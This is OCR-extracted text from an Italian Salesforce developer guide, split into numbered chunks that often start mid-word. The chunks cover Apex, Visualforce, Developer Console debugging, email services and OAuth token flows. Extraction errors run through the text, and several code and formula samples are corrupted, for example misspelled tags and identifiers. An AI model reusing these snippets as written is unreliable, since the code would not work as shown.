272. guage specifici ad esempio prima che i record di oggetti vengano inseriti nel database Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 67 o dopo che i record sono stati eliminati trigger sono associati a oggetti standard o personalizzati e possono chiamare i metodi delle classi Apex VEDERE ANCHE Domande frequenti su Apex Visualforce Visualforce Visualforce uno strumento che utilizza un linguaggio a codici markup language basato su tag per fornire agli sviluppatori un modo pi potente per creare applicazioni e personalizzare l interfaccia utente di Salesforce Con Visualforce possibile e Creare interfacce utente personalizzate in grado di sfruttare con facilit gli stili Salesforce e Creare interfacce utente personalizzate che sostituiscono completamente gli stili Salesforce standard e Creare procedure guidate e altri schemi di navigazione che utilizzano regole specifiche dei dati per un interazione efficiente con le applicazioni Visualforce dotato di una libreria di componenti completa che consente di compilare rapidamente pagine senza la necessit di creare manualmente molte funzionalit Nel linguaggio di markup di Visualforce ogni tag corrisponde a un componente a grana grossa o a grana fine quali una sezione di pagina un elenco correlato o un campo componenti possono essere controllati dalla stessa logica utilizzata nelle pagine
273. guire una ricerca necessario eseguire le istruzioni Apex per generare un registro dalla finestra della riga di comando 1 Peraprire la finestra della riga di comando premere CTRL L 2 Eseguire Apex Code per generare un registro e Perdigitare le istruzioni Apex nella riga di comando digitare exec lt Apex statements gt Ad esempio exec List lt Account gt accts new List lt Account gt for Integer i 0 i lt 20 i Account a new Account name Account Name i accts add a e Per eseguire del codice gi inserito nella finestra Enter Apex Code Inserisci Apex Code digitare exec r Ottimizzazione di Salesforce con il codice Guida dell utente Registri debug 294 3 Una volta generato il registro digitare find lt string gt per cercare il testo specificato Ad esempio trova Nome account risultati della ricerca vengono visualizzati nella finestra della riga di comando 4 Per chiudere la finestra della riga di comando premere CTRL L VEDERE ANCHE Riferimento per la riga di comando della Console sviluppatore Applicazione di filtri ai registri debug per classi Apex e trigger Apex ID PA 0 N Impostazione dei filtri del registro debug per classi e trigger Apex L applicazione di filtri ai registri debug consente di perfezionare le descrizioni del registro a livello Disponibile nelle YSISIQNI dei trigger e delle classi Questo particolarmente utile quando si esegue il debug della logica A
274. hieste 258 creazione 256 informazioni su 255 modifica 257 L Campi ambito operativo 138 dipendenze 138 Campi di unione S Control 134 Certificati di autenticazione client download 139 Cha abilitazione per le pagine Visualforce 86 disabilitazione per le pagine Visualforce 86 Chiamate Errore Impossibile analizzare la risposta alla chiamata 66 Classi registri debug 294 Codice protezione 100 componenti Lightning Lightning Experience 91 Salesforce1 89 Componenti personalizzati Visualforce creazione 78 gestione 80 panoramica 77 visualizzazione 79 Condivisione Motivi di condivisione Apex 95 ricalcolo condivisione Apex 96 Console sviluppatore accesso 2 apertura 2 checkpoint 258 260 261 codice sorgente 16 Console sviluppatore continua Console sviluppatore 261 Visualizzazione Heap Dump Inspector 261 database 19 Debug 11 descrizione 5 270 editor di codice 16 esecuzione del debug 258 260 261 File 9 Griglia Query Results Risultati della query 11 14 heap dump 258 260 261 Scheda Heap 261 Scheda Symbols 261 informazioni su 5 270 interfaccia utente 7 layout 3 memoria 261 menu 9 11 Modifica 10 navigazione 3 9 11 oggetto 19 organizzazione 3 prospettive 273 Query Editor 11 14 registri 263 registri debug 263 registri sviluppatore 263 schede 7 schema 19 serie di test 303 sezioni 3 simboli 261 Stato visualizzazione 276 Strumenti 11 14 276 tabella 19 test Apex 303 variabili 261 verifica della cope
275. hod Metodo Queries Query Workflow Flusso di lavoro Callouts Chiamate DML Validations Convalide Triggers Trigger Pages Pagine Nome dell elemento del processo Durata totale per l elemento Durata media per l elemento Durata massima per l elemento Durata minima per l elemento Numero di chiamate effettuate all elemento durante il processo Spazio occupato dall elemento nell heap Tipo di query I valori possibili sono S500L SOSL Numero totale di record modificati per l elemento Numero medio di record modificati per l elemento Numero massimo di record modificati per l elemento Ottimizzazione di Salesforce con il codice Guida dell utente Esecuzione del debug tramite la Console sviluppatore 270 Colonna Descrizione Min row Righe min Numero minimo di record modificati per l elemento Per ordinare le informazioni in base a una specifica colonna fare clic sulla relativa intestazione O Importante Se i riquadri del Log Inspector Controllo registri non presentano barre di scorrimento su Mac aprire System Preferences gt General Preferenze di sistema Generali e impostare Show scroll bars Mostra barre di scorrimento su Always Sempre VEDERE ANCHE Menu Debug Scheda Logs Registri Gestione delle prospettive nel Log Inspector Controllo registri Creazione di prospettive personalizzate nel Log Inspector Controllo registri Esempi di
276. html gt Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Esempio di Visualforce Suggerimenti Setup Descrizione Utilizzo Esempio di campo formula Lightning 33 L esempio che segue indica in che modo collegarsi a un S Control denominato HelloWorld in una pagina Visualforce lt apex page gt lt apex outputLink value SControl HelloWorld gt Open the HelloWorld s control lt apex ocutputLink gt lt apex page gt Si noti che se si desidera semplicemente incorporare un S Control in una pagina possibile utilizzare il tag lt apex scontro1l gt senza il campo di unione SControl Ad esempio lt apex page gt lt apex scontrol controlName HelloWorld gt lt apex page gt e L elencoadiscesa Inserisci campo di unione elenca tuttii Custom S Control ad eccezione degli snippet Nonostante gli snippet siano S Control si comportano diversamente Ad esempio non possibile fare riferimento a uno snippet direttamente da una funzione URLFOR gli snippet non sono disponibili quando si crea un pulsante o link personalizzato che abbia un origine contenuto uguale a Custom S Control Inoltre non possibile aggiungere gli snippet ai layout di pagina Per inserire uno snippet nell S Control utilizzare il pulsante a discesa Inserisci snippet e Questa variabile globale disponibile solo per pulsanti e link personalizzati S Control e per le pagine Visualforce T
277. i su questi protocolli di autenticazione visitare i seguenti siti Web e www openspf org e www microsoft com mscorp safety technologies senderid default mspx 7 servizi di email rifiutano i messaggi e informano il mittente se il messaggio nel suo insieme corpo del messaggio in formato testo HTML e allegati supera i 10 MB circa il limite varia a seconda della lingua e del set di caratteri 8 Gli allegati in formato testo si possono convertire in allegati binari 9 anche possibile configurare questo servizio di email in modo che accetti solo i messaggi di alcuni mittenti elencandone gli indirizzi email e i domini nella casella ditesto Accetta messaggio email da Separare gli elementi con una virgola Ad esempio giorgio miasociet com yahoo com gmail com Se perla casella ditesto Accetta messaggio email da stato specificato un valore e il servizio di email riceve un messaggio da un indirizzo o dominio non in elenco il servizio di email esegue l azione specificata nelle impostazioni di risposta operazione non riuscita diAzione per Mittente non autorizzato Lasciare questo capo vuoto se si desidera che il servizio di email riceva messaggi da qualsiasi indirizzo O Nota anche possibile autorizzare indirizzi e domini di email a livello di indirizzo di servizi di email Vedere Definizione degli indirizzi di servizi di email a pagina 108 Se il servizio di email e l indirizzo di servizio di email sono entrambi configurati
278. i Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 232 Il token di accesso incluso viene invalidato e il token viene revocato Se incluso un token di aggiornamento questo verr revocato insieme a tutti i token di accesso associati Il server di autorizzazione indica che la richiesta viene elaborata correttamente restituendo il codice di stato HTTP 200 Per tutte le condizioni di errore viene utilizzato il codice di stato 400 insieme a una delle seguenti risposte di errore e unsupported token type tipo di token non supportato e invalid token iltoken non risultato valido Per un Sandbox utilizzare test salesforce com anzich login salesforce com Supporto di GET Sono supportate anche le richieste GET con il parametro di stringa di query token e il token corrente Se incluso un token di accesso viene invalidato e il token viene revocato Se incluso un token di aggiornamento questo verr revocato insieme a tutti i token di accesso associati Ad esempio https login salesforce com services oauth2 revoke token currenttokenID Il server di autorizzazione indica che la richiesta viene elaborata correttamente restituendo il codice di stato HTTP 200 Per tutte le condizioni di errore viene utilizzato il codice di stato 400 Supporto JSONP L endpoint di revoca accetta anche le richieste GET con un parametro di richiamata aggiuntivo e restituisce la risposta con il tipo di contenuto appli
279. i dei mittenti elencati nelle caselle ditesto Accetta messaggio email da sia sul servizio di email sia sull indirizzo di servizio di email 8 Fare clic su Salva per salvare le modifiche oppure su Salva e Nuovo indirizzo email per definire un altro indirizzo email in entrata per questo servizio di email VEDERE ANCHE Definizione di servizi di email Definizione di servizi di email Ottimizzazione di Salesforce con il codice Definizione di servizi di email Per definire un servizio di email Guida dell utente Componenti Apex Visualforce e 1 Dalmposta immettere Servizi di email nellacasella Ricerca veloce quindi selezionare Servizi di email 2 Fare clic su Nuovo servizio di email o su Modifica per modificare un servizio di email esistente 3 Specificare il nome del servizio di email 4 Scegliere la classe Apex che il servizio di email deve utilizzare per elaborare i messaggi La classe Apex scelta deve implementare l interfaccia Messaging Inboundl esempio EmailHandler Ad global class myHandler implements Messaging InboundEmailHandler Lightning 109 ID PA 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Enterprise Edition Performance Edition Unlimited Edition e Developer Edition L utilizzo dei servizi di email nei pacchetti AppExchange installati disponibile anche nelle versioni Group Edition e Professional Edition YANG O
280. i dispongono di quattro stati NewStatus PendingStatus SuccessStatus e FailedStatus All etichetta di ogni stato vengono aggiunte le seguenti stringhe e label e labelIn sospeso e label Riuscito e label Non riuscito Ad esempio se il valore di label Vedere l esempio i valori dei quattro stati link azioni sono Vedere l esempio Vedere l esempio in sospeso Vedere l esempio riuscito e Vedere l esempio non riuscito Per generare i nomi delle etichette un link azioni pu utilizzare un valore LabelKey o Label ma non entrambi i valori 20 Selezionare Visibilit utente che indica chi pu vedere il gruppo dei link azioni Se si seleziona Pu vederlo solo il responsabile del creatore il responsabile il responsabile del creatore quando viene istanziato il gruppo dei link azioni Se dopo l istanziazione del gruppo di link azioni il responsabile del creatore cambia la modifica non viene presa in considerazione 21 Facoltativo Se stato selezionato Pu vederlo solo l utente personalizzato o Possono vederlo tutti tranne l utente personalizzato inserireun Alias utente personalizzato Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 155 Immettere una stringa e impostare il valore quando si istanzia un gruppo di link azioni come se si impostasse il valore di una variabile di binding Tuttavia non utilizzare la sintassi della variabile di binding nel modello ma inserire soltant
281. i in modo asincrono e in parallelo Le classi di test Apex vengono collocate nell area di attesa dei processi Apex per l esecuzione Il numero massimo di classi di test che possibile eseguire per ogni periodo di 24 ore il numero pi elevato tra 500 oppure 10 moltiplicato per il numero di classi di test nell organizzazione Per le organizzazioni Sandbox e quelle che utilizzano la versione Developer Edition questo limite maggiore e supera 500 oppure 20 moltiplicato per il numero di classi di test nell organizzazione Copertura codice per test di unit Per distribuire il codice o creare un pacchetto per Force com AppExchange devono essere presenti le seguenti condizioni e Almeno il 75 di Apex code deve essere coperto da test di unit e tutti questi test devono essere stati completati correttamente Tenere presente quanto segue Guida dell utente Informazioni sui test di unit Apex 296 DAO Disponibile nelle versioni Salesforce Classic Disponibile nelle versioni Performance Edition Unlimited Edition Developer Edition Enterprise Edition e Database com Edition pacchetti gestiti non sono disponibili nella versione Database com Edition ANOLON TAAA ON UTENTE Per definire modificare eliminare impostare la protezione configurare le impostazioni di versione mostrare le dipendenze ed eseguire test per le classi Apex e Apex Autore Durante la distribuzione di Apex a un organizzazione d
282. i oggetti in memoria al momento del raggiungimento del checkpoint Guida dell utente Debug 258 ID PA 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition Nelle organizzazioni Group Edition e Professional Edition non possibile creare o modificare autorizzazioni personalizzate ma possibile installarle come parte di un pacchetto gestito YANG O NPZZAVA O N UTENTE Per aggiungere o eliminare autorizzazioni personalizzate richieste e Gestisci autorizzazioni personalizzate Ottimizzazione di Salesforce con il codice Guida dell utente Esecuzione del debug tramite la Console sviluppatore 259 Logs Tests Fheckpoints Query Editor Progress Problems M Checkpoints Checkpoint Locations Namespace Class Line Date File Line Iteration none PermsetAssignmentController 8 04 10 08 06 19 PermsetAssignmentController 4 1 none PermsetAssignmentController 40 04 10 08 06 20 PermissionAssignmentControllerTest 4 1 PermsetAssignmentController 8 1 UserResultTest 4 1 Edit Properties Checkpoints Checkpoint Questo elenco visualizza i checkpoint attualmente disponibili per l analisi Selezionare Debug gt My Current Checkpoints Only Solo checkpoint correnti per visualizzare solo i checkpoint generati dopo l apertura della Console svilup
283. i produzione per impostazione predefinita vengono eseguiti tutti i test di unit nello spazio dei nomi dell organizzazione Lechiamatea System debug non rientrano nel conteggio della copertura di Apex Code metodi di test e le classi di test non rientrano nel conteggio della copertura di Apex code Bench il 75 di Apex code debba essere coperto dai test non occorre concentrarsi sulla percentuale di codice coperta ma assicurarsi che ogni caso di utilizzo dell applicazione sia coperto inclusi i casi positivi e negativi nonch i record singoli e in blocco Questo dovrebbe determinare una copertura del codice da parte dei test di unit pari ad almeno il 75 e Ogni trigger deve avere una copertura e Tutte le classi e i trigger devono essere compilati correttamente Se il test chiama un altra classe o determina l esecuzione di un trigger quell Apex viene incluso nella quantit totale utilizzata per calcolare la percentuale di codice coperto Dopo l esecuzione dei test i risultati della copertura del codice sono disponibili nella Console sviluppatore Per generare i risultati della copertura del codice eseguire prima i test utilizzando uno dei metodi descritti di seguito e Per eseguire i test dalla Console sviluppatore vedere Creazione di una serie di test Ottimizzazione di Salesforce con il codice Guida dell utente Esecuzione dei test Apex 297 e Pereseguire tutti i test da Imposta immettere Apex nella casell
284. i sistema e degli utenti oltre agli Objects Convalida delle modifiche nel codice sorgente scheda Problems Problemi Le modifiche apportate nel Source Code Editor Editor codice sorgente vengono compilate e convalidate in background Durante la modifica del codice un indicatore errori viene visualizzato sulle righe che provocano errori e la scheda Problems Problemi mostra i dettagli relativi agli errori di compilazione Per comprimere la scheda Problems Problemi utilizzare il pulsante x nell angolo del riquadro Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 19 Quando vengono convalidate le visualizzazioni sorgente tutte le sorgenti modificate vengono convalidate insieme e non separatamente Le modifiche che potrebbero essere incoerenti con il codice del server ma sono coerenti se considerate insieme ad esempio l aggiunta di un metodo in un file e una chiamata a tale metodo in un altro non vengono segnalate come errori Modifica della versione API Utilizzare l elenco API Version Versione API in cima al Source Code Editor Editor codice sorgente per modificare la versione dell entit corrente Questo elenco include le cinque versioni API pi recenti e la versione corrente dell entit Salvataggio delle modifiche Quando si apportano modifiche nel Source Code Editor Editor codice sorgente il nome della scheda include un asterisco per indicare che vi sono modif
285. i valori dopo il simbolo cancelletto Questa non una stringa di query e access token 1 D sessione Salesforce che pu essere utilizzato con l API servizi Web e token type ilvalore Bearer per tutte le risposte che includono un token di accesso Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 227 ida _token ilvalore Salesforce conforme alle specifiche OpenID Connect Il valore restituito solo se response type token id_token con il parametro di ambito openid e un parametro nonce refresh token token che pu essere utilizzato in futuro per ottenere nuovi token di accesso sessioni Questo valore segreto Si raccomanda di trattarlo come se fosse la password dell utente e adottare tutte le misure necessarie per proteggerlo O Nota il token di aggiornamento per il flusso utente agente viene rilasciato solo se stato richiesto scope refresh_token e se una delle seguenti circostanze vera L URL di reindirizzamento utilizza un protocollo personalizzato L URLdireindirizzamento esattamente https login salesforce com services oauth2 success oppure inun Sandbox https test salesforce com services oauth2 success instance url URL che indica l istanza dell organizzazione dell utente In questo esempio l istanza nal https nal salesforce com id URL identit che pu essere utilizzato sia per identificare l utente sia per chiedere pi informazioni
286. iato in precedenza sar eliminata al prossimo caricamento di pacchetti possibile decidere di annullare l eliminazione della classe Apex tramite la pagina dei dettagli del pacchetto e Se una classe Apex ha dei metodi definiti come webService possibile fare clic su WSDL accanto al nome della classe per generare un documento WSDL in base ai contenuti della classe Il documento contiene tutte le informazioni necessarie a un client per utilizzare i metodi servizi Web Apex Tutti i metodi di classe con la parola chiave webService vengono inclusi nel documento WSDL risultante Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 57 e Fare clic su Protezione accanto al nome della classe per selezionare i profili a cui consentito eseguire i metodi nella classe da punti di ingresso di massimo livello quali i metodi servizi Web Per le classi che sono installate nell organizzazione nell ambito di un pacchetto gestito questo link viene visualizzato solo per quelle definite come global e Fare clic su Stima la copertura codice dell organizzazione per verificare quale percentuale dell Apex Code della propria organizzazione attualmente coperta dai test di unit Questa percentuale basata sui risultati dei test pi recenti gi eseguiti Se non sono disponibili risultati dei test la copertura del codice sar 0 e Se sono presenti test di unit in almeno una classe Apex fare cl
287. ic su Esegui tutti i test per eseguire tutti i test di unit nell organizzazione e Fare clic su Compila tutte le classi per compilare tutte le classi Apex della propria organizzazione Se vi sono classi installate da un pacchetto gestito che contengono metodi di test o sono classi di test necessario compilarle prima di visualizzarle ed eseguirle dalla pagina Esecuzione test Apex Le classi dei pacchetti gestiti possono essere compilate solo mediante il link Compila tutte le classi in quanto non possono essere salvate In caso contrario il salvataggio delle classi Apex che non appartengono a un pacchetto gestito fa s che vengano compilate nuovamente Questo link esegue la compilazione di tutte le classi Apex dell organizzazione che provengano o meno da un pacchetto gestito O Nota Il prefisso spazio dei nomi viene aggiunto a classi e trigger Apex componenti e pagine Visualforce modelli di marca cartelle S Control risorse statiche link Web e tipi di rapporto personalizzati se sono inclusi in un pacchetto gestito Tuttavia se non si dispone di autorizzazioni per le applicazioni personalizzate il campo del prefisso spazio dei nomi non viene visualizzato per i modelli di marca le cartelle e i tipi di rapporto personalizzati VEDERE ANCHE Definizione di classi Apex Visualizzazione delle classi Apex Gestione dei trigger Apex Un trigger un Apex code che viene eseguito prima o dopo che si sono verificati eventi DML Data Ma
288. ica 7 giorni eil token di aggiornamento non viene scambiato con una nuova sessione entro sette giorni il tentativo successivo di utilizzare il token fallisce Il token scaduto e non pu pi generare nuove sessioni Se il token di aggiornamento viene utilizzato correttamente prima di 7 giorni il monitoraggio del periodo di inattivit viene azzerato e il token valido per altri 7 giorni e Fai scadere il token di aggiornamento dopo n Questa impostazione rende il token non valido dopo un periodo di tempo prefissato Ad esempio se la policy indica 1 giorno iltoken di aggiornamento pu essere utilizzato per ottenere nuove sessioni per 24 ore Dopo 24 ore il token non pu essere utilizzato La sessione di un utente pu essere mantenuta dall utilizzo Il suo periodo di validit definito dal valore di timeout di applicazione connessa profilo utente o impostazioni di sessione dell organizzazione in questo ordine La Policy sui token di aggiornamento viene valutata unicamente durante l utilizzo del token di aggiornamento emesso e non influisce sulla sessione corrente dell utente token di aggiornamento sono necessari solo quando la sessione di un utente scaduta o non pi disponibile Ad esempio se siimposta Policy sui token di aggiornamento su Fai scadere il token di aggiornamento dopo 1 ora e l utente utilizza l applicazione per due ore non gli verr richiesto di eseguire l autenticazione dopo un ora L utente dovr proceder
289. icano alla quota di archiviazione di dati dell organizzazione VEDERE ANCHE Definizione delle risorse statiche Ottimizzazione di Salesforce con il codice Definizione delle risorse statiche Per creare una risorsa statica Guida dell utente Componenti Apex Visualforce e Lightning 82 D7 OX 1 Da Imposta immettere Risorse statiche nella casella Ricerca veloce quindi selezionare Risorse statiche Disponibile nelle versioni f Salesforce Classic e 2 Fare clic su Nuovo 3 Lightning Experience 3 Nella casella di testo Nome immettere il testo che dovr essere utilizzato per identificare la i p o risorsa nel markup Visualforce Il nome pu contenere solo caratteri di sottolineatura e Disponibile nelle ipsa alfanumerici e deve essere univoco nell organizzazione Deve iniziare con una lettera non deve Contact Manager E ition l i i Rua Group Edition Professional includere spazi terminare con un carattere di sottolineatura n contenere due caratteri di Di Da i dai Edition Enterprise Edition sottolineatura consecutivi nei Performance Edition O Nota se si fatto riferimento a una risorsa statica nel markup Visualforce e Unlimited Edition e successivamente si modifica il nome di tale risorsa il markup Visualforce viene aggiornato Developer Edition di conseguenza per riflettere tale modifica i f RE l INDI LO NVZAZAVA O N 4 Nell area ditesto Descrizione immettere una descrizione facoltativa per la
290. ice Guida dell utente Componenti Apex Visualforce e Lightning 40 Esempio di L esempio seguente mostra in che modo possibile rendere graficamente layout diversi in base al tema di Visualforce un utente lt apex page gt lt apex pageBlock title My Content rendered SUser UITheme Theme2 gt this is the old theme lt apex pageBlock gt lt apex pageBlock title My Content rendered SUser UITheme Theme3 gt this is the classic theme lt apex pageBlock gt lt apex page gt UserRole Descrizione Tipo di campo di unione globale da utilizzare quando si fa riferimento alle informazioni sul ruolo dell utente corrente campi di unione ruolo possono fare riferimento a informazioni quali il nome la descrizione o l ID del ruolo Utilizzo 1 Selezionare il tipo di campo SUserRole 2 Selezionare un campo di unione come UserRole Nanme Esempio di regola di La formula della regola di convalida seguente fa riferimento al nome del ruolo utente per verificare che un convalida campo personalizzato denominato Percentuale di sconto non superi il valore massimo consentito per quel ruolo Discount Percent cC gt VLOOKUP 0bjectType Role Limits c Fields Limit _ C ObjectType Role Limits c Fields Name UserRole Name Processo Flusso e SUserRole LastModifiedById Visualforce yrd Suggerimenti e L utente corrente la persona che modifica il record che ha richiesto il valore predefinito
291. iche non salvate Le classi e i trigger Apex vengono salvati con la versione dell API in uso per la classe o il trigger Per salvare un insieme di modifiche con dipendenze fare clic su File gt Save All Salva tutto o premere CTRL S MAIUSC Tutte le schede aperte con modifiche vengono salvate contemporaneamente in un unica richiesta Durante il salvataggio le visualizzazioni sorgente modificate vengono convalidate a fronte di tutti i file sorgente salvati Se presentano modifiche correlate i file sorgente non possono essere salvati individualmente Se sono presenti errori di compilazione non sar possibile salvare Rivedere il riquadro Problems Problemi correggere eventuali errori e fare clic nuovamente su Save Salva O Nota Non possibile modificare e salvare le classi Apex all interno di un organizzazione di produzione Mantenimento della sincronizzazione con il codice nella cloud La Console sviluppatore traccia le modifiche apportate alla sorgente da altri utenti quando si ha un file aperto Se non sono state apportate modifiche la visualizzazione viene aggiornata automaticamente Se sono state apportate modifiche non possibile salvarle sul server Verr visualizzato un avviso che informa che un altro utente ha apportato delle modifiche con l opzione di aggiornare la visualizzazione sorgente alla versione pi aggiornata Avvertenza Se si sceglie di effettuare l aggiornamento all ultima versione di un file le proprie modi
292. id request HTTPS richiesto invalid request necessario utilizzare HTTP POST invalid client credentials segreto client non valido invalid request tipo segreto non supportato invalid grant token di accesso aggiornamento scaduto invalid grant limitazione IP o orari di accesso non validi inactive user utente inattivo inactive org organizzazione bloccata chiusa o sospesa rate limit exceeded numero di accessi superato invalid scope ambito richiesto non valido sconosciuto o in un formato non corretto Di seguito riportato un esempio di risposta di errore error invalid client credentials error description client secret invalid VEDERE ANCHE Autenticazione delle applicazioni con OAuth Ottimizzazione di Salesforce con il codice Flusso di autenticazione server Web OAuth 2 0 Il flusso di autenticazione del server Web viene utilizzato dalle applicazioni che risiedono in un DONI server protetto Un aspetto cruciale del flusso del server Web il fatto che il server deve essere in grado di proteggere il segreto consumatore possibile anche utilizzare valori di sollecitazione e Disponibile nelle versioni verificatore del codice nel flusso per impedire l intercettazione del codice di autorizzazione Salesforce Classic Di seguito sono illustrate le descrizioni delle singole fasi de Co N 5 Disponibile in tutte le versioni ANOLON TAAA ON UTENTE Per
293. idamente risultati vengono visualizzati in una griglia Query Results Risultati della query nella quale possibile aprire creare aggiornare ed eliminare record Nei risultati delle ricerche SOSL con pi oggetti ogni oggetto visualizzato in una scheda separata Guida dell utente Console sviluppatore 11 Ottimizzazione di Salesforce con il codice Fie Edit Debugv Test Workspacev Helpv lt triggerl apxt Account 12 54 PM Wontackeiz s5Pr SELECT Contact FirstName Contact Account Name from Contact FirstName Rose Sean Jak Pat Andy Tim John Stella Lauren Guida dell utente Console sviluppatore 12 Query Results Total Rows 20 Account Name Edge Communications Edge Communications Burlington Textiles Corp of America Pyramid Construction Inc Dickenson pic Grand Hotels amp Resorts Ltd Grand Hotels amp Resorts Ltd United Oil amp Gas Corp X Linited Nil R Gas Com Query Grid Save Rows InsertRow Delete Row Refresh Grid Access in Salesforce Create New Open Detail Page Edit Page Logs Tests Checkpoints guem Emo Progress SELECT Contact FirstName Contact Account Name from Contact Problems Executed SELECT Id Name FROM Account WHERE Nam SELECT Contact FirstName Contact Account Execute Query Plan Use Tooling API IN QUESTA SEZIONE Esecuzione di una query SOQL o di una ricerca SOSL Eseguire query SOQL o rice
294. iferimento per trovare istanze specifiche contenenti riferimenti a un simbolo Fare doppio clic per trovare dette istanze in un altro punto dell heap La scheda Search Cerca consente di trovare i simboli nell heap in base al valore o all indirizzo Le ricerche soddisfano i valori parziali dei simboli ma gli indirizzi devono essere esatti Per cercare rapidamente un valore fare clic sull icona di ricerca 0 visualizzata sulla destra quando si passa il mouse sopra al valore nel riquadro State e La scheda Symbols Simboli presenta una visualizzazione struttura di tutti i simboli che si trovano in memoria al checkpoint Utilizzare questa scheda per rivedere rapidamente lo stato del sistema alla riga di codice e iterazione in cui stato impostato il checkpoint FilterOptions PermsetAssignmentController PermissionAssignmentControllerTest PermsetAssignmentController 8 04 10 08 06 19 Symbol Key Value AD key 35 this this Type PermsetAssignmentController 12 bytes E filter filter 0x44a17a41 E searchedusers searchedUsers UserList O Importante Se i riquadri del Checkpoint Inspector Controllo checkpoint non presentano barre di scorrimento su Mac aprire System Preferences gt General Preferenze di sistema Generali e impostare Show scroll bars Mostra barre di scorrimento su Always Sempre VEDERE ANCHE Scheda Checkpoints Checkpoint Impostazione dei checkpoint in Apex Code Sovrapposizione di Apex Code e istru
295. ightning Experience Le applicazioni connesse possono essere create nelle versioni Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition Le applicazioni connesse possono essere installate in tutte le versioni TANGO NPAZAVA O L UTENTE Per inviare una notifica push dalla pagina Test notifiche push e Apex autore E Gestisci applicazioni connesse La pagina Invia notifica di prova utilizza le informazioni del servizio di notifica push Apple APNS o di Google Cloud Messaging per Android GCM per configurare un meccanismo push sincrono Selezionare il dispositivo che deve ricevere la notifica push immettendo una stringa token di connessione Se non si conosce la stringa token possibile utilizzare lo strumento Cerca per eseguire una selezione dall elenco dei dispositivi registrati per la propria applicazione connessa Lo strumento Cerca visualizza automaticamente i cinque dispositivi registrati pi di recente anche possibile immettere un nome utente per cercare i dispositivi registrati per quell utente Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 189 Per le notifiche push Android GCM possibile selezionare l opzione Simulazione di esecuzione per testare la propria impostazione GCM Questa opzione invia la notifica al server GCM ma non la inoltra a un dispositivo Ogni tentativo push restituisce
296. il user1 1135222488950007 com email verified true given name nal family name LastName zoneinfo America Los Angeles chotos picture http nal salesforce cam profilechoto 005 E thumbnail Nttp nal salesforce cam profilemoto 005 T profile http nal salesforce com 005x000 picture http nal salesforce com profilephoto 005 F address country us urls enterprise http nal salesforce com services Soap c version 00Dx00 partner http nal salesforce com services Soap u version 00Dx00 rest http nal salesforce com services data v version sobjects http nal salesforce com services data v version sobjects search http nal salesforce com services data v version search query http nal salesforce com services data v version query recent http nal salesforce com services data v version recent profile http nal salesforce com 005x000 feeds http nal salesforce com services data v version chatter feeds groups http nal salesforce com services data v version chatter groups users http nal salesforce com services data v version chatter users feed items http nal salesforce com services data v version chatter feed items ective tne user type STANDARD anue a U locale n 18 utcoffiset 28800000 updated at 2013 12 02718 46 42
297. ili i seguenti comandi Comando Parametri Descrizione commands Nessuno Elenco di tutti i comandi exec lt Apex statements gt lt Apex statements gt una o pi Esegue lt Apex statements gt egenera istruzioni Apex un registro exec 0 r Nessuno o apre la finestra Enter Apex Code Inserisci Apex Code r esegue il codice nella finestra Enter Apex Code Inserisci Apex Code e genera un registro find lt string gt lt string gt una stringa di caratteri Cerca una stringa nel registro help Nessuno Spiega come ottenere informazioni sui comandi man lt command gt lt command gt un comando della finestra Visualizza la descrizione del comando della riga di comando Aree di lavoro della Console sviluppatore Un area di lavoro un insieme di risorse rappresentate da schede nel riquadro principale della Console sviluppatore La visualizzazione dettagliata o l editor visualizzati in ogni scheda sono determinati dal tipo di risorsa aperta nella scheda stessa Ad esempio il codice sorgente di apre nel Source Code Editor Editor codice sorgente i registri nel Log Inspector Controllo registri e cos via possibile creare un area di lavoro per ogni gruppo di risorse che si utilizzano insieme per mantenere organizzato il proprio lavoro Ad esempio possibile creare un area di lavoro per il codice sorgente e un altra per i registri debug passando da una all altra mentre si scrive il codice e si eseguono i tes
298. ilvalore Bearer per tutte le risposte che includono un token di accesso e instance url URL che indica l istanza dell organizzazione dell utente In questo esempio l istanza nal https nal salesforce com e id URLidentit che pu essere utilizzato sia per identificare l utente sia per chiedere pi informazioni sull utente Vedere URL identit a pagina 234 e signature firma HMAC SHA256 con codifica base64 firmata con la chiave privata del consumatore contenente l ID concatenato e issued at Pu essere utilizzata per verificare che l URL identit non stato modificato dopo essere stato inviato dal server e issued at momento in cui la firma stata creata O Nota con questa risposta non viene inviato alcun token di aggiornamento Di seguito riportato un esempio di risposta id https login salesforce com id 00Dx0000000BV7z 005x0000001209P issued at 1278448832702 instance url https nal salesforce com signature 0CmxinZir53Yex7nE0TD zMpvIWYGb bdyuh6xfOH6E0 access token 00Dx0000000BV7z ARS8A0Ax09UfVkh8A1VOGomt9Czx9LjHnSSpwBMmbRcgKEmxOtvxjTrKNWIl 9ye6PE3Dsle0z3z8jr3W7 VbWmEu408TVGSTHxs token type Bearer Se in questa fase viene riscontrato un problema la risposta contiene un messaggio di errore composto dalle seguenti parti e erroriil codice di errore e error descriptionila descrizione dell errore con ulteriori informazioni unsupported response type tipo di r
